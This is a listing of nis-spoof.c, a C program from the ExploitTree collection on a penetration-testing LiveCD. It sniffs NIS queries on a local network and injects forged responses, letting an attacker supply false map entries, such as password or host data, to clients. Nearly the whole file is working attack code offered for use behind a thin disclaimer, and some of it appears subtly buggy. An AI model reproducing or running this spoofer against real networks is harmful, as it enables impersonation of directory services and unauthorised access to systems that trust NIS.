home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / rpc / nis-spoof.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  9KB  |  357 lines

  1. /* Spoof the response from a NIS server to a client.  Be nice, I'm not
  2.  * responsible if you do illegal things with this, nor do I condone it.  I
  3.  * just thought it was interesting and others might as well.
  4.  
  5.    cc `libnet-config  --cflags --defines` nis-spoof.c -lpcap \
  6.       `libnet-config --libs` -o nis-spoof
  7.  
  8.    Licensed under the terms of the GPL.
  9.  
  10.    $Id: nis-spoof.c,v 1.1.1.1 2005/02/12 19:38:43 loni Exp $
  11.  
  12.    See http://www.zweknu.org/src/nis-spoof/ for the latest version
  13.  
  14. */
  15.  
  16. #include <stdio.h>
  17. #include <pcap.h>
  18. #include <unistd.h>
  19. #include <stdlib.h>
  20. #include <sys/types.h>
  21. #include <libnet.h>
  22.  
  23. #ifdef __OpenBSD__
  24. #include <sys/ioctl.h>
  25. #include <net/bpf.h>
  26. struct pcap
  27.   {
  28.     int fd;
  29.     /* Who cares what else is in there? */
  30.   };
  31. #endif /* __OpenBSD__ */
  32.  
  33. /* This simulates the {old|new} pcap_immediate() function.  It may not do
  34.  * anything on some platforms. */
  35. int my_pcap_immediate(pcap_t *p)
  36. {
  37.   /* Thanks to Michael T. Stolarchuk <mts@off.to> for the bit to do this and
  38.    * lots of other info besides. */
  39. #ifdef __OpenBSD__
  40.   unsigned int value=1;
  41.   struct pcap *sp=(struct pcap*)p;
  42.   /* I don't know that this jives with what pcap_immediate() is
  43.    * supposed to return, but the pcap man page only specifies that
  44.    * error == -1 */
  45.   return ioctl(sp->fd,BIOCIMMEDIATE,&value);
  46. #else
  47. return -1;
  48. #endif /* __OpenBSD__ */
  49. }
  50.  
  51.  
  52. /* I'm making this stuff up.  I don't actually *know* the NIS protocol,
  53.  * just what I get on a packet dump. */
  54. /* Assume 32 bit arch... */
  55. struct nisquery_st
  56.   {
  57.     u_int serial;
  58.     char dragons[36]; /* I see 86a4 in all the dragons, even on Linux.
  59.                      I wonder what that's about. */
  60.     u_int dom_len;
  61.     char domainname[1024];
  62.     u_int map_len;
  63.     char mapname[1024];
  64.     u_int key_len;
  65.     char key[1024];
  66.   };
  67.  
  68. /* More guesswork */
  69. char voodoo[]={                             0,0,
  70.               0,1,0,0,0,0,0,0 ,0,0,0,0,0,0,0,0,
  71.               0,0,0,0,0,1};
  72. struct nisresponse_st
  73.   {
  74.     u_int serial;
  75.     char magic[sizeof(voodoo)];
  76.     u_int resp_len;
  77.     char resp[1024];
  78.   };
  79.  
  80. #define MAC_HEADER_LEN    14
  81. #define PACKET_SIZE    4096
  82. #define PROMISC        1
  83.  
  84. /***************/
  85. /* Global Vars */
  86. /***************/
  87.  
  88. struct nisquery_st nq;
  89. struct nisresponse_st nr;
  90. pcap_t *sniffer;
  91. u_short port=0;
  92. char hostname[64],etherdev[64],key[64],map[64],domain[64];
  93. u_char *ippacket;
  94. int rawsock;
  95.  
  96. /***************/
  97. /***************/
  98. /***************/
  99.  
  100. void usage(FILE *out,char *name)
  101. {
  102.   fprintf(out,"Usage %s -h <host> -p <port> -r <response> -i <interface> "
  103.           "-k <key> -m <map> -d <domain>\n",name);
  104. }
  105.  
  106. void set_options(int argc,char **argv)
  107. {
  108.   char ch;
  109.  
  110.   while((ch=getopt(argc, argv, "p:h:r:i:m:d:k:"))!=-1)
  111.     {
  112.       switch(ch)
  113.         {
  114.         case 'm':
  115.           strncpy(map,optarg,sizeof(map));
  116.           map[sizeof(map)-1]=0;
  117.           break;
  118.         case 'd':
  119.           strncpy(domain,optarg,sizeof(domain));
  120.           domain[sizeof(domain)-1]=0;
  121.           break;
  122.         case 'k':
  123.           strncpy(key,optarg,sizeof(key));
  124.           key[sizeof(key)-1]=0;
  125.           break;
  126.         case 'p':
  127.           port=atoi(optarg);
  128.           break;
  129.         case 'h':
  130.           strncpy(hostname,optarg,sizeof(hostname));
  131.           hostname[sizeof(hostname)-1]=0;
  132.           break;
  133.         case 'i':
  134.           strncpy(etherdev,optarg,sizeof(etherdev));
  135.           etherdev[sizeof(etherdev)-1]=0;
  136.           break;
  137.         case 'r':
  138.           strncpy(nr.resp,optarg,sizeof(nr.resp));
  139.           nr.resp[sizeof(nr.resp)]=0;
  140.           nr.resp_len=strlen(nr.resp);
  141.           nr.resp_len=htonl(nr.resp_len);
  142.           break;
  143.         case '?':
  144.         default:
  145.           usage(stderr,argv[0]);
  146.           exit(1);
  147.         }
  148.     }
  149. }
  150. /*
  151. int open_rawsock(void)
  152. {
  153.     int rawsock,val=1;
  154.  
  155.     if((rawsock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0)
  156.     {
  157.         perror("socket");
  158.         exit(1);
  159.     }
  160.     if(setsockopt(rawsock,IPPROTO_IP,IP_HDRINCL,&val,sizeof(val))<0)
  161.     {
  162.         perror("setsockopt");
  163.         exit(1);
  164.     }
  165.     return rawsock;
  166. }
  167. */
  168. int open_rawsock(void)
  169. {
  170.   int rawsock;
  171.  
  172.   if(libnet_init_packet(PACKET_SIZE,&ippacket)==-1)
  173.     {
  174.       perror("libnet_init_packet");
  175.       exit(1);
  176.     }
  177.  
  178.   if((rawsock=libnet_open_raw_sock(IPPROTO_RAW))==-1)
  179.     {
  180.       perror("libnet_open_raw_sock");
  181.       exit(1);
  182.     }
  183.   return rawsock;
  184. }
  185.  
  186. pcap_t *open_sniffer(void)
  187. {
  188.   char filterstr[1024],errbuf[4096];
  189.   pcap_t *capdev;
  190.   struct bpf_program filter;
  191.   int localnet=0,netmask=0;
  192.  
  193.   sprintf(filterstr,"dst host %s and udp and dst port %d",hostname,port);
  194.   printf("Filter: \"%s\"\n",filterstr);
  195.  
  196.   if((capdev=pcap_open_live(etherdev,PACKET_SIZE,PROMISC,1,errbuf))==NULL)
  197.     {
  198.       fprintf(stderr,"pcap_open_live: %s\n",errbuf);
  199.       exit(1);
  200.     }
  201.  
  202.   if(pcap_lookupnet(etherdev,&localnet,&netmask,errbuf))
  203.     {
  204.       fprintf(stderr,"pcap_lookupnet: %s\n",errbuf);
  205.       exit(1);
  206.     }
  207.  
  208.   if(pcap_compile(capdev,&filter,filterstr,1,netmask))
  209.     {
  210.       pcap_perror(capdev,"pcap_compile");
  211.       exit(1);
  212.     }
  213.  
  214.   if(pcap_setfilter(capdev,&filter))
  215.     {
  216.       pcap_perror(capdev,"pcap_setfilter");
  217.       exit(1);
  218.     }
  219.   my_pcap_immediate(capdev);
  220.  
  221.   return capdev;
  222. }
  223.  
  224. /* Send a response to buf */
  225. void send_response(char *buf,int len)
  226. {
  227.   int i;
  228.   u_char ihl=4*(0xF&(u_char)buf[MAC_HEADER_LEN]);
  229.   u_char scratch[4];
  230.   u_short tlen,rlen,payload_len;
  231.  
  232.   buf+=MAC_HEADER_LEN;
  233.  
  234.   rlen=0xFFFF&(ntohl(nr.resp_len) +
  235.                ((ntohl(nr.resp_len)%4)?4-(ntohl(nr.resp_len)%4):0));
  236.   bzero(ippacket,sizeof(ippacket));
  237.  
  238.   nr.serial=nq.serial;
  239.  
  240.   bcopy(buf,ippacket,len);
  241.   /* printf("##############################################\n"); */
  242.   payload_len=sizeof(nr)-sizeof(nr.resp)+rlen;
  243.   bcopy(&nr,ippacket+len,payload_len);
  244.   tlen=len+payload_len;
  245.  
  246.   /*
  247.   for(i=0;i<tlen;i++)
  248.       printf("%c%2.2x",i%16?' ':'\n',ippacket[i]);
  249.   printf("\n");
  250.   */
  251.  
  252.   tlen=htons(tlen);
  253.  
  254.   /* Set total length */
  255.   bcopy(&tlen,&ippacket[2],2);
  256.   /* Set TTL */
  257.   ippacket[8]=24;
  258.   /* Swap IP src/dst */
  259.   bcopy(&ippacket[12],scratch,4);
  260.   bcopy(&ippacket[16],&ippacket[12],4);
  261.   bcopy(scratch,&ippacket[16],4);
  262.   /* Swap port src/dst */
  263.   bcopy(&ippacket[ihl],scratch,2);
  264.   bcopy(&ippacket[ihl+2],&ippacket[ihl],2);
  265.   bcopy(scratch,&ippacket[ihl+2],2);
  266.   /* Set UDP len */
  267.   payload_len+=8;
  268.   payload_len=htons(payload_len);
  269.   bcopy(&payload_len,&ippacket[ihl+4],2);
  270.  
  271.   tlen=ntohs(tlen);
  272.   if(libnet_do_checksum(ippacket,IPPROTO_UDP,tlen-ihl)<0)
  273.     {
  274.       perror("libnet_do_checksum");
  275.       exit(1);
  276.     }
  277.   /*
  278.   for(i=0;i<tlen;i++)
  279.       printf("%c%2.2x",i%16?' ':'\n',ippacket[i]);
  280.   printf("\n");
  281.   */
  282.   libnet_write_ip(rawsock,ippacket,tlen);
  283. }
  284.  
  285. void framehandler(u_char *user, struct pcap_pkthdr *ph, u_char *buf)
  286. {
  287.   /* Let's assume a 14-byte MAC header!! :) Data offset = 14 + IHL*4
  288.    * + 8 */
  289.   u_char dataoffset=MAC_HEADER_LEN+4*(0xF&(u_char)buf[MAC_HEADER_LEN])+8;
  290.   u_short datalen=ntohs((*(u_short *)&(buf[dataoffset-4]))&0xFFFF)-8;
  291.   u_short curpos;
  292.   int i=0;
  293.  
  294.   /*    printf("Offset: %d\nLength: %2.2x\n\n",dataoffset,datalen); */
  295.   bzero(&nq,sizeof(nq));
  296.  
  297.   bcopy(&buf[dataoffset],&nq.serial,4);
  298.  
  299.   curpos=dataoffset+4;
  300.   bcopy(&buf[curpos],&nq.dragons,sizeof(nq.dragons));
  301.   curpos+=sizeof(nq.dragons);
  302.  
  303.   nq.dom_len=ntohl((*(u_int *)&(buf[curpos])));
  304.   curpos+=4;
  305.   bcopy(&buf[curpos],nq.domainname,nq.dom_len);
  306.   curpos+=nq.dom_len;
  307.   if(nq.dom_len%4)
  308.     curpos+=4-(nq.dom_len%4);
  309.   nq.domainname[nq.dom_len]=0;
  310.  
  311.   nq.map_len=ntohl((*(u_int *)&(buf[curpos])));
  312.   curpos+=4;
  313.   bcopy(&buf[curpos],nq.mapname,nq.map_len);
  314.   curpos+=nq.map_len;
  315.   if(nq.map_len%4)
  316.     curpos+=4-(nq.map_len%4);
  317.   nq.mapname[nq.map_len]=0;
  318.  
  319.   nq.key_len=ntohl((*(u_int *)&(buf[curpos])));
  320.   curpos+=4;
  321.   bcopy(&buf[curpos],nq.key,nq.key_len);
  322.   curpos+=nq.key_len;
  323.   if(nq.key_len%4)
  324.     curpos+=4-(nq.key_len%4);
  325.   nq.key[nq.key_len]=0;
  326.  
  327.   if(!strcmp(nq.key,key) &&
  328.       !strcmp(nq.mapname,map) &&
  329.       !strcmp(nq.domainname,domain))
  330.     {
  331.       fprintf(stderr,"Match: %s %s [%s]\n"
  332.               ,nq.key,nq.mapname,nq.domainname);
  333.       send_response(buf,dataoffset-14);
  334.     }
  335. }
  336.  
  337. int main(int argc, char **argv)
  338. {
  339.   set_options(argc,argv);
  340.   if(hostname[0]==0 || port==0 || etherdev[0]==0 || nr.resp_len==0
  341.       || key[0]==0 || map[0]==0 || domain[0]==0)
  342.     {
  343.       printf("Hostname: %s\n",hostname);
  344.       printf("Port: %d\n",port);
  345.       printf("Interface: %s\n",etherdev);
  346.       printf("Response: %s\n",nr.resp);
  347.       usage(stderr,argv[0]);
  348.       exit(1);
  349.     }
  350.   sniffer=open_sniffer();
  351.   rawsock=open_rawsock();
  352.   printf("Answering queries for %s:%d\n",hostname,port);
  353.   bcopy(voodoo,&nr.magic,sizeof(voodoo));
  354.   pcap_loop(sniffer,0,framehandler,NULL);
  355.   return 0;
  356. }
  357. /*                    www.hack.co.za           [14 May 2000]*/